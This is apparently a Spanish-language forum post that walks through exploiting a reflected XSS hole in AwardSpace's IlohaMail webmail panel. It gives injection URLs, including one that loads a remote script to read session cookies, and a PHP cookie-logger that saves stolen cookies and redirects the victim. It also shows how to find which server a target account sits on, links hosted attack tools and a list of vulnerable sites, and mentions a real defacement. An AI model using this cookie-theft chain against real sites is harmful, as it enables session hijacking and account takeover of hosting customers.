el Bug de XSS se encuentra en los Paneles de WebMail.
afecta tanto a las cuentas WebMail como a las cuentas de Hosting
se ubica en el path /mail2/ de los cpanels de AwardSpace, el script se llama IlohaMail
https://cp1.awardspace.com/mail2/
la variable vulnerable : ?user=
que podemos usar para colar codigo Html así :
https://cp1.awardspace.com/mail2/source/index.php?user=”><h1>Www.F-security.Com.Ar</h1>
(: ahí todo dicho con un poco de creatividad :
https://cp1.awardspace.com/mail2/source/index.php?user=”><script language=JavaScript type=text/javascript src=http://f-security.com.ar/knet.js></script>
teniendo knet.js de contenido alert(”Vulnerable:\n”+document.cookie)
lo que hice en el vídeo fue direccionar a un archivo .php que guardaba los pedidos get en un archivo
( guardmela_cook
ies.txt )
contenido del archivo php:
<?
$cookie=$_GET[c];
$fp=fopen(’public.txt’,'a’);
fwrite($fp,”\n”.’Cookie:’.”\n”.htmlentities($cookie).”\n”.’====================================================’.”\n”);
fclose($fp);
header(”Location:http://www.google.com/”);
?>
lo demas a su imaginación.
un pequeño detalle :
si a la víctima a robar usa un número de cpanel distinto, el robo de cookies no tendría efecto.
por logica necesitamos saber de alguna manera en que cpanel se aloja la victima, yo lo encontre (:
se hace así :
nos dirigimos a http://www.awardspace.com/login.html
y colocamos el supuesto user de la web y una contraseña cualquiera
si es correcto el user nos redirigira al cpanel donde se hostea
EJ: pongan. user:rooteam2 pass:knet
y veran que los redirige al cpanel numero 8
entonces nos dara la posibilidad de crear nuestro xss personalizado para el cpanel webmail número 8
algunas herramientas para este xss ONLINE:
www.f-security.com.ar/public.js
www.f-security.com.ar/public.php
www.f-security.com.ar/public.txt
Webs vulnerables:
http://www.google.com.ar/search?hl=es&q=related%3Aawardspace.com&btnG=Buscar&meta=
incluidos zettahost y hostsecure
Este bug ha sido famoso por el deface de Knet a rooteams. Si quereis ver el video de como se realizó el deface: http://remoteexecution.org/foro/index.php?topic=2553
PD:No lo consideren Spam, es info muy útil.
Autor